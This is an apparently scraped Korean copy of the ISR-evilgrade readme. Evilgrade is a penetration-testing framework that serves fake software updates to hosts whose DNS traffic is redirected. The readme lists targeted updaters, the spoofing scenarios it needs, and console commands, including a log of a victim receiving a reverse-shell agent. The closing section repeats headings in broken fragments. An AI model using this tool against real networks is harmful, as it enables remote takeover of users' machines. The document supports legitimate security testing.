Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --

.:: [간략 개요] ::.

Evilgrade는 취약한 업그레이드 구현을 악용하여 가짜 업데이트를 주입할 수 있도록 해주는 모듈식 프레임워크입니다. 사전 제작된 바이너리(에이전트), 빠른 침투 테스트를 위한 작동 기본 설정, 자체 WebServer 및 DNSServer 모듈을 제공합니다. 새로운 설정을 쉽게 추가할 수 있으며, 새 바이너리 에이전트가 설정될 때 자동 구성 기능이 있습니다.

* evilgrade는 언제 사용해야 하나요?

이 프레임워크는 공격자가 호스트 이름 리디렉션(피해자 DNS 트래픽 조작)을 수행할 수 있을 때 사용되며, 이러한 작업은 다음 두 가지 시나리오에서 가능합니다:

내부 시나리오:

내부 DNS 접근
ARP 스푸핑
DNS 캐시 포이즈닝
DHCP 스푸핑
TCP 하이재킹
Wi-Fi 액세스 포인트 위장

외부 시나리오:

내부 DNS 접근
DNS 캐시 포이즈닝

* 어떻게 작동하나요?

Evilgrade는 모듈로 작동하며, 각 모듈에는 특정 애플리케이션/시스템의 가짜 업데이트를 에뮬레이션하는 데 필요한 구현 구조가 있습니다.

* 어떤 OS를 지원하나요?

ISR-Evilgrade는 크로스플랫폼이며, 공격 대상 플랫폼에 적합한 페이로드만 있으면 됩니다.

구현된 모듈:

Freerip 3.30
Jet photo 4.7.2
Teamviewer 5.1.9385
ISOpen 4.5.0
Istat.
Gom 2.1.25.5015
Atube catcher 1.0.300
Vidbox 7.5
Ccleaner 2.30.1130
Fcleaner 1.2.9.409
Allmynotes 1.26
Notepad++ 5.8.2
Java 1.6.0_22 winxp/win7
aMSN 0.98.3
Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
Mirc 7.14
Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
Dap 9.5.0.3
Winscp 4.2.9
AutoIt Script 3.3.6.1
Clamwin 0.96.0.1
AppTapp Installer 3.11 (Iphone/Itunes)
getjar (facebook.com)
Google Analytics Javascript injection
Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
Winamp 5.581
TechTracker (cnet) 1.3.1 (Build 55)
Nokiasoftware firmware update 2.4.8es - (Windows software)
Nokia firmware v20.2.011
BSplayer 2.53.1034
Apt ( < Ubuntu 10.04 LTS)
Ubertwitter 4.6 (0.971)
Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
Cpan 1.9402
VirtualBox (3.2.8 )
Express talk
Filezilla
Flashget
Miranda
Orbit
Photoscape.
Panda Antirootkit
Skype
Sunbelt
Superantispyware
Trillian <= 5.0.0.26
Adium 1.3.10 (Sparkle Framework)
VMware
more...

/docs/CHANGES

.:: [주 사용법] ::.

IOS 콘솔과 유사하게 작동합니다.``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available

Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.

## 구현된 모듈 목록``` console
evilgrade>show modules

List of modules:
===============

...
...
...

- 63 modules available.

지정된 모듈 구성``` console

evilgrade>conf sunjava evilgrade(sunjava)>

#### 모든 VirtualHosts를 표시합니다.
#### VirtualHost 필드에는 웹 서버가 에뮬레이트할 도메인이 포함되어 있습니다.``` console
evilgrade>show vhosts

Virtual hosts:
=============

[
  "java.sun.com",
  "javadl-esd.sun.com",
  ...
  ...
  ...
]

현재 모듈의 옵션을 표시합니다.

agent: 이것은 우리의 가짜 업데이트 바이너리입니다. 바이너리의 위치 경로를 설정하거나 동적 가짜 업데이트 바이너리 생성을 구현해야 합니다 (ADVANCED 참조).``` console

evilgrade(sunjava)>show options

Display options:

Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"

#### 서비스 시작 (DNS Server and WebServer)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

상태 및 피해자 로그 표시``` console

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

## .:: [심층 사용법] ::.

### 명령어
#### configure / conf - Configure <module-name>

예시:
-------``` console
evilgrade>configure sunjava
evilgrade(sunjava)>

evilgrade>conf sunjava
evilgrade(sunjava)>

## 'conf' takes us back to the global configuration
evilgrade(sunjava)>conf
evilgrade>


##
reload    - Reload to get all modules update (to refresh loaded modules, useful on development)
start     - Start webserver
stop      - Stop webserver (fake update server)

예시: -------``` console evilgrade>start evilgrade> [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade> [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#######################################

Example:

evilgrade>stop Stopping WEBSERVER [OK] Stopping DNSSERVER [OK]

#######################################

restart - Restart services (WebServer and DNS Server) stops and starts again

#######################################

status - Get webserver and victims status

Example:

evilgrade>show status Webserver (pid 4134) already running

evilgrade

인기

.:: [간략 개요] ::.

* evilgrade는 언제 사용해야 하나요?

내부 시나리오:

외부 시나리오:

* 어떻게 작동하나요?

* 어떤 OS를 지원하나요?

구현된 모듈:

.:: [주 사용법] ::.

지정된 모듈 구성``` console

현재 모듈의 옵션을 표시합니다.

agent: 이것은 우리의 가짜 업데이트 바이너리입니다. 바이너리의 위치 경로를 설정하거나 동적 가짜 업데이트 바이너리 생성을 구현해야 합니다 (ADVANCED 참조).``` console

Display options:

상태 및 피해자 로그 표시``` console

Users status:

Example:

Example: